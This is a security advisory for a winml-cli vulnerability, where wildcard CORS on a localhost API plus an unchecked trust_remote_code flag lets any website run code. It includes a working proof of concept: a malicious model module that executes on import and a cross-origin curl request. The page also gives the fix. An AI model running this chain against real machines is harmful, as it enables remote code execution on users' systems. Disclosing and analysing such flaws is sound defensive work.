CVE-2026-84452: winml-cli CORS Wildcard Enables Localhost RCE via trust_remote_code
Any website a user visits can silently call the winml-cli local HTTP API, pass a malicious AI model path with remote-code execution enabled, and run arbitrary code on the user's machine.

The problem
winml-cli's winml serve command starts a FastAPI server on 127.0.0.1 that wraps every CLI command as an unauthenticated HTTP endpoint. The server sets allow_origins=["*"] in both cli_api.py and app.py, so any cross-origin browser request gets a permissive Access-Control-Allow-Origin: * response, erasing the isolation that a loopback bind normally provides.
The /v1/cli/build and /v1/cli/config endpoints accept a JSON body including a trust_remote_code boolean. That value is passed directly to AutoConfig.from_pretrained(..., trust_remote_code=True) in _autoconfig.py with no server-side validation. Pointing the model field at an attacker-controlled repository causes the transformers library to import arbitrary Python from that repo, achieving RCE as the user running the server.
Proof of concept
A working proof-of-concept for CVE-2026-84452 in winml-cli, with the exact payload below.
# Step 1: create the malicious model repo
mkdir -p /tmp/poc/evil/pwn
cat > /tmp/poc/evil/pwn/config.json <<'EOF'
{"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}}
EOF
cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'
import os, time, getpass, socket
from transformers import PretrainedConfig
with open(os.environ["PWN_MARKER"], "w") as f:
f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n"
f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n")
class PwnConfig(PretrainedConfig):
model_type = "pwn"
EOF
# Step 2: trigger RCE via cross-origin POST (simulates any malicious website)
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \
-H 'Origin: https://evil.example' \
-H 'Content-Type: application/json' \
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}' \
| grep -iE '^HTTP|^access-control-allow-origin'
# Expected output:
# HTTP/1.1 200 OK
# access-control-allow-origin: *
# (payload runs on import; PWN_MARKER file is written by the server process)Two independent weaknesses chain into full RCE. First, allow_origins=["*"] in both cli_api.py (line 150) and app.py (line 219) lets any browser origin read server responses across the loopback boundary. Second, trust_remote_code: true in the JSON body flows into AutoConfig.from_pretrained(..., trust_remote_code=True) in _autoconfig.py with no rejection logic, so transformers imports module-level Python from the attacker's repo at load time.
The payload executes even if the build command ultimately fails, because the import (and the code within it) happens before any output validation. The root causes map to CWE-942 (permissive cross-domain policy) and CWE-306 (missing authentication for a critical function).
The patch replaced allow_origins=["*"] with same-origin request enforcement and added a hard server-side block that rejects any HTTP request supplying trust_remote_code=true, regardless of the JSON body structure.
The fix
Upgrade winml-cli to version 0.4.0 (commit f4073e0). The fix removes the wildcard allow_origins from both cli_api.py and app.py, replacing it with same-origin request protection. It also adds a centralized guard that unconditionally rejects trust_remote_code=true when the command originates over HTTP, enforcing the policy at both the API boundary and the model/config loading layer in _autoconfig.py.
If immediate upgrade is not possible, do not run winml serve while browsing untrusted sites, or firewall port 8000 at the host so no browser process can reach it.
Reported by Zhipeng Wang (timenick).
Related research
- high · 8.2CVE-2026-55571CVE-2026-55571: djust LiveView WebSocket Authentication Bypass
- critical · 9.1CVE-2026-55640CVE-2026-55640: nextcloud-mcp-server Unauthenticated Webhook Allows Arbitrary Vector Data Deletion
- high · 8.6CVE-2026-55539CVE-2026-55539: PraisonAI Jobs API Missing Authentication
- high · 7.3CVE-2026-55538CVE-2026-55538: PraisonAI serve agents --api-key Authentication Bypass